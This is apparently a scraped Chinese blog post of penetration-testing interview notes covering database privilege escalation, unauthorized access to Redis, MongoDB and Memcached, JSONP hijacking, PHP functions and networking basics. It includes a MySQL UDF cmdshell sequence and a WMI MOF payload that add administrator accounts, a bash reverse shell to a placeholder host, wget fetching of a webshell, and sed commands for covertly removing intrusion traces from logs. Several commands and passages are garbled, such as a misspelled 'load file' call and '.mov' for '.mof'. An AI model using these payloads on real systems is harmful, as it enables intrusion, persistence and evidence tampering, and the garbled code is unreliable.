    要求: 1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedir``show variables like ‘%plugins%’ 寻找mysql安装路径 提权:

    使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

    create function cmdshell returns string soname ‘udf.dll’
     
    select cmdshell(‘net user arsch arsch /add’);
     
    select cmdshell(‘net localgroup administrators arsch /add’);
    
    drop function cmdshell;
    

    该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

    MySQL mof提权

    #pragma namespace("\\\\.\\root\\subscription")
     
     
    instance of __EventFilter as $EventFilter
     
    {
     
    EventNamespace = "Root\\Cimv2";
     
    Name  = "filtP2";
     
    Query = "Select * From __InstanceModificationEvent "
     
    "Where TargetInstance Isa \"Win32_LocalTime\" "
     
    "And TargetInstance.Second = 5";
     
    QueryLanguage = "WQL";
     
    };
     
     
    instance of ActiveScriptEventConsumer as $Consumer
     
    {
     
    Name = "consPCSV2";
     
    ScriptingEngine = "JScript";
     
    ScriptText =
     
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
     
    };
     
     
    instance of __FilterToConsumerBinding
     
    {
     
    Consumer   = $Consumer;
     
    Filter = $EventFilter;
     
    };
    

    其中的第18行的命令,上传前请自己更改。

    2、执行load_file及into dumpfile把文件导出到正确的位置即可。

    select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'
    
    br
    

    执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

    十九、特殊漏洞

    1、Struts2-045

    2、Redis未授权

    产生原因

    Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器

    利用条件和方法

    条件:

    a、redis服务以root账户运行
    b、redis无密码或弱密码进行认证
    c、redis监听在0.0.0.0公网上

    方法:

    a、通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
    b、上传SSH公钥获得SSH登录权限
    c、通过crontab反弹shell
    d、slave主从模式利用

    修复

    密码验证
    降权运行
    限制ip/修改端口

    3、Jenkins未授权访问

    4、MongoDB未授权访问

    攻击者通过未授权访问进入脚本命令执行界面执行攻击指令

    println "ifconfig -a".execute().text 执行一些系统命令,利用wget下载webshell

    开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库,登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

    防护

    为MongoDB添加认证:1)MongoDB启动时添加–auth参数 2)给MongoDB添加用户:use admin #使用admin库 db.addUser(“root”, “123456”) #添加用户名root密码123456的用户 db.auth(“root”,“123456”) #验证下是否添加成功,返回1说明成功 2、禁用HTTP和REST端口 MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false 3、限制绑定IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1

    5、Memcache未授权访问

    Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。

    利用

    a、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。

    b、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在

    漏洞加固

    a、设置memchached只允许本地访问 b、禁止外网访问Memcached 11211端口 c、编译时加上–enable-sasl,启用SASL认证

    6、FFMPEG本地文件读取

    原理

    通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。

    二十、安全知识

    1、WEB

    常见WEB开发JAVA框架

    STRUTS,SPRING 常见的java框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么,我提到struts的045 048,java常见反序列化。045 错误处理引入了ognl表达式 048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式 反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了

    同源策略

    同源策略限制不同源对当前document的属性内容进行读取或设置。不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。

    Jsonp安全攻防技术,怎么写Jsonp的攻击页面

    涉及到Jsonp的安全攻防内容

    JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。

    攻击页面

    JSON劫持,跨域劫持敏感信息,页面类似于

    function wooyun(v){
     
    alert(v.username);
     
    }
     
    </script>
     
    <script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>
     
    br
    

    Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。

    2、PHP

    php中命令执行涉及到的函数

    **代码执行:**eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()

    **文件读取:**file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

    **命令执行:**system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

    安全模式下绕过php的disable fuction

    DL函数,组件漏洞,环境变量。

    PHP弱类型

    == 在进行比较的时候,会先将字符串类型转化成相同,再比较

    如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

    0e开头的字符串等于0

    3、数据库

    各种数据库文件存放的位置

    mysql:

    /usr/local/mysql/data/
    C:\ProgramData\MySQL\MySQL Server 5.6\Data\
    

    oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

    4、系统

    如何清理日志

    meterpreter: clearev

    入侵 Linux 服务器后需要清除哪些日志?

    web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除

    e.g. sed -i -e ‘/192.169.1.1/d’

    history命令的清除,也是对~/.bash_history进行定向清除

    wtmp日志的清除,/var/log/wtmp

    登录日志清除 /var/log/secure

    LINUX

    **查看当前端口连接的命令有哪些?**netstat 和 ss 命令的区别和优缺点

    netstat -antp` `ss -l
    

    ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。

    **反弹 shell 的常用命令?****一般常反弹哪一种 shell?**为什么?

    bash -i>&/dev/tcp/x.x.x.x/4444 0>&1
    

    通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?

    ls /proc
    

    系统信息,硬件信息,内核版本,加载的模块,进程

    linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。

    /etc/ssh/sshd___configiptables配置

    如何一条命令查看文件内容最后一百行

    tail -n 100 filename
    

    Windows

    **如何加固一个域环境下的Windows桌面工作环境?**请给出你的思路。

    5、密码学

    AES/DES的具体工作步骤

    RSA算法

    加密:

    密文=明文^EmodN

    RSA加密是对明文的E次方后除以N后求余数的过程

    公钥=(E,N)

    解密:

    明文=密文^DmodN 私钥=(D,N)

    三个参数n,e1,e2

    n是两个大质数p,q的积

    分组密码的加密模式

    如何生成一个安全的随机数?

    引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

    SSL握手过程

    建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。

    对称加密与非对称加密的不同,分别用在哪些方面

    6、TCP/IP

    TCP三次握手的过程以及对应的状态转换

    (1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;
    (2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;
    (3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。

    TCP和UDP协议区别

    tcp面向连接,udp面向报文 tcp对系统资源的要求多 udp结构简单 tcp保证数据完整性和顺序,udp不保证

    https的建立过程

    a、客户端发送请求到服务器端
    b、服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在
    c、客户端验证证书和公开密钥的有效性,如果有效,则生成共享密钥并使用公开密钥加密发送到服务器端
    d、服务器端使用私有密钥解密数据,并使用收到的共享密钥加密数据,发送到客户端
    e、客户端使用共享密钥解密数据
    f、SSL加密建立

    7、流量分析

    wireshark简单的过滤规则

    过滤ip:

    过滤源ip地址:ip.src==1.1.1.1;,目的ip地址:ip.dst==1.1.1.1;

    过滤端口:

    过滤80端口:tcp.port==80,源端口:tcp.srcport==80,目的端口:tcp.dstport==80

    协议过滤:

    直接输入协议名即可,如http协议http

    http模式过滤:

    过滤get/post包http.request.mothod=="GET/POST"

    8、防火墙

    简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。

    转自: https://mp.weixin.qq.com/s/fKiSod80abAI7TE_AqZ3bA

    展开全文
  • 内网渗透测试

    千次阅读 多人点赞 2018-11-27 21:04:39
    什么是内网? 内网是一个只有组织工作...什么是内网渗透? 已突破外网进入内网 仅面向内网系统渗透测试 模拟内部员工进行渗透测试 内网渗透基本流程: 信息收集 获取权限 横向移动 权限维持 ...
  • 在当前企业日常的安全防护中,对于内网渗透行为的及时发现以及追溯分析成为企业安全防护中必不可少的重要环节。如何快速的发现攻击者的内网横向移动行为进行预警并及时做出自动处置,如何在事后对被侵入的原因、动作...
  • 干货|常用渗透漏洞poc、exp收集整理

    千次阅读 2020-10-27 11:44:46
    2019-16278andCVE-2019-16279-about-nostromo-nhttpdCVE-2019-16309FlameCMS3.3.5后台登录处存在sql注入漏洞CVE-2019-16313蜂网互联企业级路由器v4.31密码泄露漏洞CVE-2019-16314indexhibitcmsv2.1.5存在重装并导致...
  • 企业内网渗透横向攻击的一种思路

    千次阅读 2019-08-09 12:59:55
    以前老东家有个员工不小心点开了Emotet木马,不久后,全体员工收到了一封带有病毒附件的钓鱼邮件... 最近在看Black Hat USA 2019大会 第一天的PPT,其中一篇主题《us-19-Joly-Hunting-For-Bugs-Catching-Dragons.pdf》 ...
  • 渗透测试从原理到实战全套教程包含渗透测试工具包。
  • 10套独家渗透测试视频教程,熟练掌握Kali_Linux及metasploit渗透测试工具及渗透测试实战技巧,另赠送Kali_Linux web渗透测试实战教材一套,metasploit渗透测试魔鬼训练营教材一套。
  • 渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时渗透也是安全工作者所研究的一个课题,在他们口中通常被称为”渗透测试(Penetration Test)”。 无论是网络渗透(Network Penetration)还是渗透...
  • 华为web白盒渗透测试指南,讲解白盒渗透测试的流程、策略、工具、方法、业务场景安全测试方法、白盒渗透测试经典案例等
  • 作为一种全新意义的基于802.11 标准的技术,无线网状网不仅仅只是消除用户对于线缆的约束,更多将会在企业 和行业市场中通过将数据以无线方式接 入到有线宽带网,大幅减少了对成本高 昂的有线连接的需求,并降低了...
  • 阿里云研究中心-人工智能行业《中国企业2020》系列报告第二季:人工智能红利渗透与爆发精品报告2020.pdf
  • 企业文化在班级管理中的渗透.pdf
  • 代码审计是企业安全运营的重要步骤,也是安全从业者必备的基础技能。代码审计:企业级Web代码安全架构详细介绍代码审计的设计思路以及所需要的工具和方法,不仅用大量案例介绍了实用方法,而且剖析了各种代码安全...
  • 在现代企业经营管理教学中渗透创业教育的探索不仅能给你参考与借鉴,还能够让学到许多成功方法与技巧,赶...该文档为在现代企业经营管理教学中渗透创业教育的探索,是一份很不错的参考资料,具有较高参考价值,感...
  • 圣地亚哥黑客会议局两个安全专家通过Cisco VoIPdia进入了其所在酒店的内部公共网络系统。...他们使用了由一种叫VoIP Hopper提供的渗透测试模式。...黑客通过VoIP渗透来窃取、私用企业的VoIP电话,造成了VoIP的不安全性
  • 渗透测试的发展史

    2021-03-23 11:41:36
    早在1965年的时候,电脑安全专家就提醒政府和企业,电脑在交换数据方面的能力越强大,窃取数据的情况就会越多。在1967年的计算机联合会议上,汇集了15,000多名计算机安全专家、政府 从20世纪60年代中叶开始到现在,...
  • 渗透膜分离技术在电镀企业的应用.doc

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 42,886
精华内容 17,154
关键字:

企业渗透